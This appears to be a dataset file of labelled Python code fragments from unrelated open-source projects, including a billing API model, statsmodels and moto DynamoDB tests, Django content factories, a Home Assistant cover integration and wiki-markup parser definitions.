'ROME-FIELD-19':[ 270.312763708 , -29.0084241944 , '18:01:15.0633','-29:00:30.3271' ], 'ROME-FIELD-20':[ 270.83674125 , -28.8431573889 , '18:03:20.8179','-28:50:35.3666' ]} ",1 " fields = [""starting_unit"", ""ending_unit"", ""price"", ""starting_unit_in_decimal"", ""ending_unit_in_decimal"", ""price_in_decimal""] pass class ApplicableAddon(Model): fields = [""id""] pass class AttachedAddon(Model): fields = [""id"", ""quantity"", ""billing_cycles"", ""type"", ""quantity_in_decimal""] pass class EventBasedAddon(Model): fields = [""id"", ""quantity"", ""on_event"", ""charge_once"", ""quantity_in_decimal""] pass fields = [""id"", ""name"", ""invoice_name"", ""description"", ""price"", ""currency_code"", ""period"", \ ""period_unit"", ""trial_period"", ""trial_period_unit"", ""trial_end_action"", ""pricing_model"", ""charge_model"", \ ""free_quantity"", ""setup_cost"", ""downgrade_penalty"", ""status"", ""archived_at"", ""billing_cycles"", \ ""redirect_url"", ""enabled_in_hosted_pages"", ""enabled_in_portal"", ""addon_applicability"", ""tax_code"", \ ""hsn_code"", ""taxjar_product_code"", ""avalara_sale_type"", ""avalara_transaction_type"", ""avalara_service_type"", \ ""sku"", ""accounting_code"", ""accounting_category1"", ""accounting_category2"", ""accounting_category3"", \ ""accounting_category4"", ""is_shippable"", ""shipping_frequency_period"", ""shipping_frequency_period_unit"", \ ""resource_version"", ""updated_at"", ""giftable"", ""claim_url"", ""free_quantity_in_decimal"", ""price_in_decimal"", \ ""invoice_notes"", ""taxable"", ""tax_profile_id"", ""meta_data"", ""tiers"", ""applicable_addons"", ""attached_addons"", \ ""event_based_addons"", ""show_description_in_invoices"", ""show_description_in_quotes""] @staticmethod def create(params, env=None, headers=None): return request.send('post', request.uri_path(""plans""), params, env, headers) @staticmethod def update(id, params=None, env=None, headers=None): return request.send('post', request.uri_path(""plans"",id), params, env, headers) @staticmethod def list(params=None, env=None, headers=None): return request.send_list_request('get', request.uri_path(""plans""), params, env, headers) @staticmethod def retrieve(id, env=None, headers=None): return request.send('get', request.uri_path(""plans"",id), None, env, headers) @staticmethod def delete(id, env=None, headers=None): return request.send('post', request.uri_path(""plans"",id,""delete""), None, env, headers) @staticmethod def copy(params, env=None, headers=None): return request.send('post', request.uri_path(""plans"",""copy""), params, env, headers) @staticmethod def unarchive(id, env=None, headers=None): return request.send('post', request.uri_path(""plans"",id,""unarchive""), None, env, headers) ",1 "() import dbPhashApi class TestCompareDatabaseInterface(unittest.TestCase): def __init__(self, *args, **kwargs): logSetup.initLogging() super().__init__(*args, **kwargs) def setUp(self): # We set up and tear down the tree a few times to validate the dropTree function self.log = logging.getLogger(""Main.TestCompareDatabaseInterface"") self.tree = dbPhashApi.PhashDbApi() self.tree.forceReload() def dist_check(self, distance, dbid, phash): qtime1 = time.time() have1 = self.tree.getWithinDistance_db(phash, distance=distance) qtime2 = time.time() qtime3 = time.time() have2 = self.tree.getIdsWithinDistance(phash, distance=distance) qtime4 = time.time() # print(dbid, have1) if have1 != have2: self.log.error(""Mismatch!"") for line in pprint.pformat(have1).split(""\n""): self.log.error(line) for line in pprint.pformat(have2).split(""\n""): self.log.error(line) self.assertTrue(dbid in have1) self.assertTrue(dbid in have2) self.assertEqual(have1, have2) self.log.info('Dist %s %s, %s', distance, qtime2-qtime1, qtime4-qtime3) def test_0(self): rand_r = self.tree.getRandomPhashRows(0.001) self.log.info(""Have %s items to test with"", len(rand_r)) stepno = 0 for dbid, phash in rand_r: self.dist_check(1, dbid, phash) self.dist_check(2, dbid, phash) self.dist_check(3, dbid, phash) self.dist_check(4, dbid, phash) self.dist_check(5, dbid, phash) self.dist_check(6, dbid, phash) self.dist_check(7, dbid, phash) self.dist_check(8, dbid, phash) stepno += 1 self.log.info(""On step %s of %s"", stepno, len(rand_r)) ",1 "ory, UserGalleryFactory from zds.utils.factories import LicenceFactory, SubCategoryFactory from zds.utils.models import Licence from zds.tutorialv2.models.database import PublishableContent, Validation, ContentReaction from zds.tutorialv2.models.versioned import Container, Extract from zds.tutorialv2.publication_utils import publish_content from zds.tutorialv2.utils import init_new_repo text_content = ""Ceci est un texte bidon, **avec markown**"" tricky_text_content = ( ""Ceci est un texte contenant plein d'images, pour la publication. Le modifier affectera le test !\n\n"" ""# Les images\n\n"" ""Image: ![PNG qui existe](https://upload.wikimedia.org/wikipedia/commons/2/24/"" ""Derivative_of_medical_imaging.jpg)\n\n"" ""Image: ![PNG qui existe pas](example.com/test.png)\n\n"" ""Image: ![SVG qui existe](https://upload.wikimedia.org/wikipedia/commons/f/f9/10DF.svg)\n\n"" ""Image: ![SVG qui existe pas](example.com/test.svg)\n\n"" ""Image: ![GIF qui existe](https://upload.wikimedia.org/wikipedia/commons/2/27/AnimatedStar.gif)\n\n"" ""Image: ![GIF qui existe pas](example.com/test.gif)\n\n"" ""Image: ![Image locale qui existe pas](does-not-exist/test.png)\n\n"" ""Image: ![Bonus: image bizarre](https://s2.qwant.com/thumbr/300x0/e/7/"" ""56e2a2bdcd656d0b8a29c650116e29e893239089f71adf128d5f06330703b1/1024px-"" ""Oh_my_darling.jpg?u=https%3A%2F%2Fupload"" "".wikimedia.org%2Fwikipedia%2Fcommons%2Fthumb%2Fa%2Fa9%2FOh_my_darling.jpg%2F1024px-"" ""Oh_my_darling.jpg&q=0&b=0&p=0&a=0)\n\n"" ""Image: ![Bonus: le serveur existe pas !](http://unknown.image.zds/test.png)\n\n"" ""Image: ![Bonus: juste du texte](URL invalide)\n\n"" ""# Et donc ...\n\n"" ""Voilà :)"" ) class PublishableContentFactory(factory.django.DjangoModelFactory): """""" Factory that creates a PublishableContent. """""" class Meta: model = PublishableContent title = factory.Sequence(""Mon contenu No{}"".format) description = factory.Sequence(""Description du contenu No{}"".format) type = ""TUTORIAL"" creation_date = datetime.now() pubdate = datetime.now() @classmethod def _generate(cls, create, attrs): # These parameters are only used inside _generate() and won't be saved in the database, # which is why we use attrs.pop() (they are removed from attrs). light = attrs.pop(""light"", True) author_list = attrs.pop(""author_list"", None) add_license = attrs.pop(""add_license"", True) add_category = attrs.pop(""add_category"", True) # This parameter will be saved in the database, # which is why we use attrs.get() (it stays in attrs). licence = attrs.get(""licence"", None) auths = author_list or [] if add_license: given_licence = licence or Licence.objects.first() if isinstance(given_licence, str) and given_licence: given_licence = Licence.objects.filter(title=given_licence).first() or Licence.objects.first() licence = given_licence or LicenceFactory() text = text_content if not light: text = tricky_text_content publishable_content = super()._generate(create, attrs) publishable_content.gallery = GalleryFactory() publishable_content.licence = licence for auth in auths: publishable_content.authors.add(auth) if add_category: publishable_content.subcategory.add(SubCategoryFactory()) publishable_content.save() for author in publishable_content.authors.all(): UserGalleryFactory(user=author, gallery=publishable_content.gallery, mode=""W"") init_new_repo(publishable_content, text, text) return publishable_content class ContainerFactory(factory.Factory): """""" Factory that creates a Container. """""" class Meta: model = Container title = factory.Sequence(lambda n: ""Mon container No{}"".format(n + 1)) @classmethod def _generate(cls, create, attrs): # These parameters are only used inside _generate() and won't be saved in the database, # which is why we use attrs.pop() (they are removed from attrs). db_object = attrs.pop(""db_object"", None) light = attrs.pop(""light"", True) # This parameter will be saved in the database, # which is why we use attrs.get() (it stays in attrs). parent = attrs.get(""parent"", None) # Needed because we use container.title later container = super()._generate(create, attrs) text = text_content if not light: text = tricky_text_content sha = parent.repo_add_container(container.title, text, text) container = parent.children[-1] if db_object: db_object.sha_draft = sha db_object.save() return container class ExtractFactory(factory.Factory): """""" Factory that creates a Extract. """""" class Meta: model = Extract title = factory.Sequence(lambda n: ""Mon extrait No{}"".format(n + 1)) @classmethod def _generate(cls, create, attrs): # These parameters are only used inside _generate() and won't be saved in the database, # which is why we use attrs.pop() (they are removed from attrs). light = attrs.pop(""light"", True) db_object = attrs.pop(""db_object"", None) # This parameter will be saved in the database, # which is why we use attrs.get() (it stays in attrs). container = attrs.get(""container"", None) # Needed because we use extract.title later extract = super()._generate(create, attrs) parent = container text = text_content if not light: text = tricky_text_content sha = parent.repo_add_extract(extract.title, text) extract = parent.children[-1] if db_object: db_object.sha_draft = sha db_object.save() return extract class ContentReactionFactory(factory.django.DjangoModelFactory): """""" Factory that creates a ContentReaction. """""" class Meta: model = ContentReaction ip_address = ""192.168.3.1"" text = ""Bonjour, je me présente, je m'appelle l'homme au texte bidonné"" @classmethod def _generate(cls, create, attrs): note = super()._generate(create, attrs) note.pubdate = datetime.now() note.save() note.related_content.last_note = note note.related_content.save() return note class BetaContentFactory(PublishableContentFactory): """""" Factory that creates a PublishableContent with a beta version and a beta topic. """""" @classmethod def _generate(cls, create, attrs): # This parameter is only used inside _generate() and won't be saved in the database, # which is why we use attrs.pop() (it is removed from attrs). beta_forum = attrs.pop(""forum"", None) # Creates the PublishableContent (see PublishableContentFactory._generate() for more info) publishable_content = super()._generate(create, attrs) if publishable_content.authors.count() > 0 and beta_forum is not None: beta_topic = TopicFactory( title=""[beta]"" + publishable_content.title, author=publishable_content.authors.first(), forum=beta_forum ) publishable_content.sha_beta = publishable_content.sha_draft publishable_content.beta_topic = beta_topic publishable_content.save() PostFactory(topic=beta_topic, position=1, author=publishable_content.authors.first()) beta_topic.save() return publishable_content class PublishedContentFactory(PublishableContentFactory): """""" Factory that creates a PublishableContent and the publish it. """""" @classmethod def _generate(cls, create, attrs): # This parameter is only used inside _generate() and won't be saved in the database, # which is why we use attrs.pop() (it is removed from attrs). is_major_update = attrs.pop(""is_major_update"", True) # Creates the PublishableContent (see PublishableContentFactory._generate() for more info) content = super()._generate(create, attrs) published = publish_content(content, content.load_version(), is_major_update) content.sha_public = content.sha_draft content.public_version = published content.save() return content class ValidationFactory(factory.django.DjangoModelFactory): """""" Factory that creates a Validation. """""" class Meta: model = Validation ",1 "unction import numpy as np import pandas as pd import os import warnings from statsmodels.datasets import macrodata from statsmodels.tsa.statespace import structural from statsmodels.tsa.statespace.structural import UnobservedComponents from .results import results_structural from statsmodels.tools import add_constant from numpy.testing import assert_equal, assert_almost_equal, assert_raises, assert_allclose from nose.exc import SkipTest try: import matplotlib.pyplot as plt have_matplotlib = True except ImportError: have_matplotlib = False dta = macrodata.load_pandas().data dta.index = pd.date_range(start='1959-01-01', end='2009-07-01', freq='QS') def run_ucm(name): true = getattr(results_structural, name) for model in true['models']: kwargs = model.copy() kwargs.update(true['kwargs']) # Make a copy of the data values = dta.copy() freq = kwargs.pop('freq', None) if freq is not None: values.index = pd.date_range(start='1959-01-01', periods=len(dta), freq=freq) # Test pandas exog if 'exog' in kwargs: # Default value here is pd.Series object exog = np.log(values['realgdp']) # Also allow a check with a 1-dim numpy array if kwargs['exog'] == 'numpy': exog = exog.values.squeeze() kwargs['exog'] = exog # Create the model mod = UnobservedComponents(values['unemp'], **kwargs) # Smoke test for starting parameters, untransform, transform # Also test that transform and untransform are inverses mod.start_params assert_allclose(mod.start_params, mod.transform_params(mod.untransform_params(mod.start_params))) # Fit the model at the true parameters res_true = mod.filter(true['params']) # Check that the cycle bounds were computed correctly freqstr = freq[0] if freq is not None else values.index.freqstr[0] if freqstr == 'A': cycle_period_bounds = (1.5, 12) elif freqstr == 'Q': cycle_period_bounds = (1.5*4, 12*4) elif freqstr == 'M': cycle_period_bounds = (1.5*12, 12*12) else: # If we have no information on data frequency, require the # cycle frequency to be between 0 and pi cycle_period_bounds = (2, np.inf) # Test that the cycle frequency bound is correct assert_equal(mod.cycle_frequency_bound, (2*np.pi / cycle_period_bounds[1], 2*np.pi / cycle_period_bounds[0]) ) # Test that the likelihood is correct rtol = true.get('rtol', 1e-7) atol = true.get('atol', 0) assert_allclose(res_true.llf, true['llf'], rtol=rtol, atol=atol) # Smoke test for plot_components if have_matplotlib: fig = res_true.plot_components() plt.close(fig) # Now fit the model via MLE with warnings.catch_warnings(record=True) as w: res = mod.fit(disp=-1) # If we found a higher likelihood, no problem; otherwise check # that we're very close to that found by R if res.llf <= true['llf']: assert_allclose(res.llf, true['llf'], rtol=1e-4) # Smoke test for summary res.summary() def test_irregular(): run_ucm('irregular') def test_fixed_intercept(): warnings.simplefilter(""always"") with warnings.catch_warnings(record=True) as w: run_ucm('fixed_intercept') message = (""Specified model does not contain a stochastic element;"" "" irregular component added."") assert_equal(str(w[0].message), message) def test_deterministic_constant(): run_ucm('deterministic_constant') def test_random_walk(): run_ucm('random_walk') def test_local_level(): run_ucm('local_level') def test_fixed_slope(): run_ucm('fixed_slope') def test_fixed_slope(): warnings.simplefilter(""always"") with warnings.catch_warnings(record=True) as w: run_ucm('fixed_slope') message = (""Specified model does not contain a stochastic element;"" "" irregular component added."") assert_equal(str(w[0].message), message) def test_deterministic_trend(): run_ucm('deterministic_trend') def test_random_walk_with_drift(): run_ucm('random_walk_with_drift') def test_local_linear_deterministic_trend(): run_ucm('local_linear_deterministic_trend') def test_local_linear_trend(): run_ucm('local_linear_trend') def test_smooth_trend(): run_ucm('smooth_trend') def test_random_trend(): run_ucm('random_trend') def test_cycle(): run_ucm('cycle') def test_seasonal(): run_ucm('seasonal') def test_reg(): run_ucm('reg') def test_rtrend_ar1(): run_ucm('rtrend_ar1') def test_lltrend_cycle_seasonal_reg_ar1(): run_ucm('lltrend_cycle_seasonal_reg_ar1') def test_mle_reg(): endog = np.arange(100)*1.0 exog = endog*2 # Make the fit not-quite-perfect endog[::2] += 0.01 endog[1::2] -= 0.01 with warnings.catch_warnings(record=True) as w: mod1 = UnobservedComponents(endog, irregular=True, exog=exog, mle_regression=False) res1 = mod1.fit(disp=-1) mod2 = UnobservedComponents(endog, irregular=True, exog=exog, mle_regression=True) res2 = mod2.fit(disp=-1) assert_allclose(res1.regression_coefficients.filtered[0, -1], 0.5, atol=1e-5) assert_allclose(res2.params[1], 0.5, atol=1e-5) def test_specifications(): endog = [1, 2] # Test that when nothing specified, a warning is issued and the model that # is fit is one with irregular=True and nothing else. warnings.simplefilter(""always"") with warnings.catch_warnings(record=True) as w: mod = UnobservedComponents(endog) message = (""Specified model does not contain a stochastic element;"" "" irregular component added."") assert_equal(str(w[0].message), message) assert_equal(mod.trend_specification, 'irregular') # Test an invalid string trend specification assert_raises(ValueError, UnobservedComponents, endog, 'invalid spec') # Test that if a trend component is specified without a level component, # a warning is issued and a deterministic level component is added with warnings.catch_warnings(record=True) as w: mod = UnobservedComponents(endog, trend=True, irregular=True) message = (""Trend component specified without level component;"" "" deterministic level component added."") assert_equal(str(w[0].message), message) assert_equal(mod.trend_specification, 'deterministic trend') # Test that if a string specification is provided, a warning is issued if # the boolean attributes are also specified trend_attributes = ['irregular', 'trend', 'stochastic_level', 'stochastic_trend'] for attribute in trend_attributes: with warnings.catch_warnings(record=True) as w: kwargs = {attribute: True} mod = UnobservedComponents(endog, 'deterministic trend', **kwargs) message = (""Value of `%s` may be overridden when the trend"" "" component is specified using a model string."" % attribute) assert_equal(str(w[0].message), message) # Test that a seasonal with period less than two is invalid assert_raises(ValueError, UnobservedComponents, endog, seasonal=1) def test_start_params(): # Test that the behavior is correct for multiple exogenous and / or # autoregressive components # Parameters nobs = int(1e4) beta = np.r_[10, -2] phi = np.r_[0.5, 0.1] # Generate data np.random.seed(1234) exog = np.c_[np.ones(nobs), np.arange(nobs)*1.0] eps = np.random.normal(size=nobs) endog = np.zeros(nobs+2) for t in range(1, nobs): endog[t+1] = phi[0] * endog[t] + phi[1] * endog[t-1] + eps[t] endog = endog[2:] endog += np.dot(exog, beta) # Now just test that the starting parameters are approximately what they # ought to be (could make this arbitrarily precise by increasing nobs, # but that would slow down the test for no real gain) mod = UnobservedComponents(endog, exog=exog, autoregressive=2) assert_allclose(mod.start_params, [1., 0.5, 0.1, 10, -2], atol=1e-1) def test_forecast(): endog = np.arange(50) + 10 exog = np.arange(50) mod = UnobservedComponents(endog, exog=exog, level='dconstant') res = mod.smooth([1e-15, 1]) actual = res.forecast(10, exog=np.arange(50,60)[:,np.newaxis]) desired = np.arange(50,60) + 10 assert_allclose(actual, desired) ",1 "se from django.http import HttpResponseRedirect from django.utils import timezone from django.utils.translation import ugettext_lazy as _ from sentry.pipeline import Pipeline from sentry.models import Identity, IdentityStatus, IdentityProvider from . import default_manager IDENTITY_LINKED = _(""Your {identity_provider} account has been associated with your Sentry account"") logger = logging.getLogger('sentry.identity') class IdentityProviderPipeline(Pipeline): logger = logger pipeline_name = 'identity_provider' provider_manager = default_manager provider_model_cls = IdentityProvider def redirect_url(self): associate_url = reverse('sentry-extension-setup', kwargs={ # TODO(adhiraj): Remove provider_id from the callback URL, it's unused. 'provider_id': 'default', }) # Use configured redirect_url if specified for the pipeline if available return self.config.get('redirect_url', associate_url) def finish_pipeline(self): identity = self.provider.build_identity(self.state.data) defaults = { 'status': IdentityStatus.VALID, 'scopes': identity.get('scopes', []), 'data': identity.get('data', {}), 'date_verified': timezone.now(), } identity, created = Identity.objects.get_or_create( idp=self.provider_model, user=self.request.user, external_id=identity['id'], defaults=defaults, ) if not created: identity.update(**defaults) messages.add_message(self.request, messages.SUCCESS, IDENTITY_LINKED.format( identity_provider=self.provider.name, )) self.state.clear() # TODO(epurkhiser): When we have more identities and have built out an # identity management page that supports these new identities (not # social-auth ones), redirect to the identities page. return HttpResponseRedirect(reverse('sentry-account-settings')) ",1 "overDevice from homeassistant.const import STATE_OFF, STATE_ON async def async_setup_platform( hass, config, async_add_entities, discovery_info=None): """"""Set up the mysensors platform for covers."""""" mysensors.setup_mysensors_platform( hass, DOMAIN, discovery_info, MySensorsCover, async_add_entities=async_add_entities) class MySensorsCover(mysensors.device.MySensorsEntity, CoverDevice): """"""Representation of the value of a MySensors Cover child node."""""" @property def assumed_state(self): """"""Return True if unable to access real state of entity."""""" return self.gateway.optimistic @property def is_closed(self): """"""Return True if cover is closed."""""" set_req = self.gateway.const.SetReq if set_req.V_DIMMER in self._values: return self._values.get(set_req.V_DIMMER) == 0 return self._values.get(set_req.V_LIGHT) == STATE_OFF @property def current_cover_position(self): """"""Return current position of cover. None is unknown, 0 is closed, 100 is fully open. """""" set_req = self.gateway.const.SetReq return self._values.get(set_req.V_DIMMER) async def async_open_cover(self, **kwargs): """"""Move the cover up."""""" set_req = self.gateway.const.SetReq self.gateway.set_child_value( self.node_id, self.child_id, set_req.V_UP, 1) if self.gateway.optimistic: # Optimistically assume that cover has changed state. if set_req.V_DIMMER in self._values: self._values[set_req.V_DIMMER] = 100 else: self._values[set_req.V_LIGHT] = STATE_ON self.async_schedule_update_ha_state() async def async_close_cover(self, **kwargs): """"""Move the cover down."""""" set_req = self.gateway.const.SetReq self.gateway.set_child_value( self.node_id, self.child_id, set_req.V_DOWN, 1) if self.gateway.optimistic: # Optimistically assume that cover has changed state. if set_req.V_DIMMER in self._values: self._values[set_req.V_DIMMER] = 0 else: self._values[set_req.V_LIGHT] = STATE_OFF self.async_schedule_update_ha_state() async def async_set_cover_position(self, **kwargs): """"""Move the cover to a specific position."""""" position = kwargs.get(ATTR_POSITION) set_req = self.gateway.const.SetReq self.gateway.set_child_value( self.node_id, self.child_id, set_req.V_DIMMER, position) if self.gateway.optimistic: # Optimistically assume that cover has changed state. self._values[set_req.V_DIMMER] = position self.async_schedule_update_ha_state() async def async_stop_cover(self, **kwargs): """"""Stop the device."""""" set_req = self.gateway.const.SetReq self.gateway.set_child_value( self.node_id, self.child_id, set_req.V_STOP, 1) ",1 "this software and associated documentation files (the ""Software""), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. """""" Contains data about certain markup, like HTML tags and external links. When updating this file, please also update the the C tokenizer version: - mwparserfromhell/parser/ctokenizer/definitions.c - mwparserfromhell/parser/ctokenizer/definitions.h """""" __all__ = [ ""get_html_tag"", ""is_parsable"", ""is_visible"", ""is_single"", ""is_single_only"", ""is_scheme"", ] URI_SCHEMES = { # [wikimedia/mediawiki.git]/includes/DefaultSettings.php @ 5c660de5d0 ""bitcoin"": False, ""ftp"": True, ""ftps"": True, ""geo"": False, ""git"": True, ""gopher"": True, ""http"": True, ""https"": True, ""irc"": True, ""ircs"": True, ""magnet"": False, ""mailto"": False, ""mms"": True, ""news"": False, ""nntp"": True, ""redis"": True, ""sftp"": True, ""sip"": False, ""sips"": False, ""sms"": False, ""ssh"": True, ""svn"": True, ""tel"": False, ""telnet"": True, ""urn"": False, ""worldwind"": True, ""xmpp"": False, } PARSER_BLACKLIST = [ # https://www.mediawiki.org/wiki/Parser_extension_tags @ 2020-12-21 ""categorytree"", ""ce"", ""chem"", ""gallery"", ""graph"", ""hiero"", ""imagemap"", ""inputbox"", ""math"", ""nowiki"", ""pre"", ""score"", ""section"", ""source"", ""syntaxhighlight"", ""templatedata"", ""timeline"", ] INVISIBLE_TAGS = [ # https://www.mediawiki.org/wiki/Parser_extension_tags @ 2020-12-21 ""categorytree"", ""gallery"", ""graph"", ""imagemap"", ""inputbox"", ""math"", ""score"", ""section"", ""templatedata"", ""timeline"", ] # [wikimedia/mediawiki.git]/includes/parser/Sanitizer.php @ 95e17ee645 SINGLE_ONLY = [""br"", ""wbr"", ""hr"", ""meta"", ""link"", ""img""] SINGLE = SINGLE_ONLY + [""li"", ""dt"", ""dd"", ""th"", ""td"", ""tr""] MARKUP_TO_HTML = { ""#"": ""li"", ""*"": ""li"", "";"": ""dt"", "":"": ""dd"", } def get_html_tag(markup): """"""Return the HTML tag associated with the given wiki-markup."""""" return MARKUP_TO_HTML[markup] def is_parsable(tag): """"""Return if the given *tag*'s contents should be passed to the parser."""""" return tag.lower() not in PARSER_BLACKLIST def is_visible(tag): """"""Return whether or not the given *tag* contains visible text."""""" return tag.lower() not in INVISIBLE_TAGS def is_single(tag): """"""Return whether or not the given *tag* can exist without a close tag."""""" return tag.lower() in SINGLE def is_single_only(tag): """"""Return whether or not the given *tag* must exist without a close tag."""""" return tag.lower() in SINGLE_ONLY def is_scheme(scheme, slashes=True): """"""Return whether *scheme* is valid for external links."""""" scheme = scheme.lower() if slashes: return scheme in URI_SCHEMES return scheme in URI_SCHEMES and not URI_SCHEMES[scheme] ",1 "modb2 @mock_dynamodb2 def test_error_on_wrong_value_for_consumed_capacity(): resource = boto3.resource(""dynamodb"", region_name=""ap-northeast-3"") client = boto3.client(""dynamodb"", region_name=""ap-northeast-3"") client.create_table( TableName=""jobs"", KeySchema=[{""AttributeName"": ""job_id"", ""KeyType"": ""HASH""}], AttributeDefinitions=[{""AttributeName"": ""job_id"", ""AttributeType"": ""S""}], ProvisionedThroughput={""ReadCapacityUnits"": 5, ""WriteCapacityUnits"": 5}, ) table = resource.Table(""jobs"") item = {""job_id"": ""asdasdasd"", ""expires_at"": ""1""} # PUT_ITEM with pytest.raises(ClientError) as ex: table.put_item(Item=item, ReturnConsumedCapacity=""Garbage"") err = ex.value.response[""Error""] err[""Code""].should.equal(""ValidationException"") err[""Message""].should.equal( ""1 validation error detected: Value 'Garbage' at 'returnConsumedCapacity' failed to satisfy constraint: Member must satisfy enum value set: [INDEXES, TOTAL, NONE]"" ) @mock_dynamodb2 def test_consumed_capacity_get_unknown_item(): conn = boto3.client(""dynamodb"", region_name=""us-east-1"") conn.create_table( TableName=""test_table"", KeySchema=[{""AttributeName"": ""u"", ""KeyType"": ""HASH""}], AttributeDefinitions=[{""AttributeName"": ""u"", ""AttributeType"": ""S""}], BillingMode=""PAY_PER_REQUEST"", ) response = conn.get_item( TableName=""test_table"", Key={""u"": {""S"": ""does_not_exist""}}, ReturnConsumedCapacity=""TOTAL"", ) # Should still return ConsumedCapacity, even if it does not return an item response.should.have.key(""ConsumedCapacity"") response[""ConsumedCapacity""].should.equal( {""TableName"": ""test_table"", ""CapacityUnits"": 0.5} ) @mock_dynamodb2 @pytest.mark.parametrize( ""capacity,should_have_capacity,should_have_table"", [ [None, False, False], [""NONE"", False, False], [""TOTAL"", True, False], [""INDEXES"", True, True], ], ) def test_only_return_consumed_capacity_when_required( capacity, should_have_capacity, should_have_table ): resource = boto3.resource(""dynamodb"", region_name=""ap-northeast-3"") client = boto3.client(""dynamodb"", region_name=""ap-northeast-3"") client.create_table( TableName=""jobs"", KeySchema=[{""AttributeName"": ""job_id"", ""KeyType"": ""HASH""}], LocalSecondaryIndexes=[ { ""IndexName"": ""job_name-index"", ""KeySchema"": [{""AttributeName"": ""job_name"", ""KeyType"": ""HASH""}], ""Projection"": {""ProjectionType"": ""ALL""}, } ], AttributeDefinitions=[ {""AttributeName"": ""job_id"", ""AttributeType"": ""S""}, {""AttributeName"": ""job_name"", ""AttributeType"": ""S""}, ], ProvisionedThroughput={""ReadCapacityUnits"": 5, ""WriteCapacityUnits"": 5}, ) table = resource.Table(""jobs"") item = {""job_id"": ""asdasdasd"", ""expires_at"": ""1""} # PUT_ITEM args = {""Item"": item} if capacity: args[""ReturnConsumedCapacity""] = capacity response = table.put_item(**args) validate_response(response, should_have_capacity, should_have_table) # GET_ITEM args = {""Key"": item} if capacity: args[""ReturnConsumedCapacity""] = capacity response = table.get_item(**args) validate_response(response, should_have_capacity, should_have_table, value=0.5) # SCAN args = {""TableName"": ""jobs""} if capacity: args[""ReturnConsumedCapacity""] = capacity response = client.scan(**args) validate_response(response, should_have_capacity, should_have_table) # SCAN_INDEX args[""IndexName""] = ""job_name-index"" response = client.scan(**args) validate_response(response, should_have_capacity, should_have_table, is_index=True) # QUERY args = { ""TableName"": ""jobs"", ""KeyConditionExpression"": ""job_id = :id"", ""ExpressionAttributeValues"": {"":id"": {""S"": ""asdasdasd""}}, } if capacity: args[""ReturnConsumedCapacity""] = capacity response = client.query(**args) validate_response(response, should_have_capacity, should_have_table) # QUERY_INDEX args[""IndexName""] = ""job_name-index"" response = client.query(**args) validate_response(response, should_have_capacity, should_have_table, is_index=True) def validate_response( response, should_have_capacity, should_have_table, is_index=False, value=1.0 ): if should_have_capacity: response.should.have.key(""ConsumedCapacity"") response[""ConsumedCapacity""][""TableName""].should.equal(""jobs"") response[""ConsumedCapacity""][""CapacityUnits""].should.equal(value) if should_have_table: response[""ConsumedCapacity""][""Table""].should.equal({""CapacityUnits"": value}) if is_index: response[""ConsumedCapacity""].should.have.key(""LocalSecondaryIndexes"") response[""ConsumedCapacity""][""LocalSecondaryIndexes""].should.equal( {""job_name-index"": {""CapacityUnits"": value}} ) else: response.shouldnt.have.key(""ConsumedCapacity"") ",1 "ry.testing import IntegrationTestCase from plone import api from plone.memoize.instance import Memojito from Products.Five.browser import BrowserView from zope.component import getAdapter from zope.component import getMultiAdapter from zope.viewlet.interfaces import IViewletManager class TestDocumentByLineViewlet(IntegrationTestCase): def setUp(self): super(TestDocumentByLineViewlet, self).setUp() # get the viewlet doc = api.content.create(type='Document', id='doc', container=self.portal) view = BrowserView(doc, self.portal.REQUEST) manager = getMultiAdapter( (doc, self.portal.REQUEST, view), IViewletManager, 'plone.belowcontenttitle') manager.update() self.viewlet = manager.get(u'imio.history.documentbyline') def test_show_history(self): """"""Test the show_history method. The history is shown in every case except if 'ajax_load' is found in the REQUEST."""""" self.assertTrue(self.viewlet.show_history()) # show_history is False if displayed in a popup, aka 'ajax_load' in the REQUEST self.portal.REQUEST.set('ajax_load', True) self.assertFalse(self.viewlet.show_history()) def test_highlight_history_link(self): """"""Test the highlight_history_link method. History link will be highlighted if last event had a comment and if that comment is not an ignorable comment."""""" adapter = getAdapter(self.portal.doc, IImioHistory, 'workflow') # not highlighted because '' is an ignored comment history = adapter.getHistory() self.assertFalse(history[-1]['comments']) self.assertFalse(self.viewlet.highlight_history_link()) # now 'publish' the doc and add a comment, last event has a comment self.wft.doActionFor(self.portal.doc, 'publish', comment='my publish comment') # clean memoize getattr(adapter, Memojito.propname).clear() history = adapter.getHistory() self.assertTrue(self.viewlet.highlight_history_link()) self.assertFalse(history[-1]['comments'] in adapter.ignorableHistoryComments()) # now test that the 'you can not access this comment' is an ignored message self.wft.doActionFor(self.portal.doc, 'retract', comment=HISTORY_COMMENT_NOT_VIEWABLE) getattr(adapter, Memojito.propname).clear() history = adapter.getHistory() self.assertFalse(self.viewlet.highlight_history_link()) self.assertTrue(history[-1]['comments'] in adapter.ignorableHistoryComments()) # test that it works if no history # it is the case if we changed used workflow self.wft.setChainForPortalTypes(('Document', ), ('intranet_workflow',)) getattr(adapter, Memojito.propname).clear() history = adapter.getHistory() self.assertFalse(self.viewlet.highlight_history_link()) self.assertTrue(history == []) ",1 "is file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """"""Tests for tensorflow.ops.tf.gather."""""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np from tensorflow.python.framework import constant_op from tensorflow.python.framework import dtypes from tensorflow.python.framework import ops from tensorflow.python.ops import array_ops from tensorflow.python.ops import gradients_impl from tensorflow.python.platform import test _TEST_TYPES = (dtypes.int64, dtypes.float32, dtypes.complex64, dtypes.complex128) class 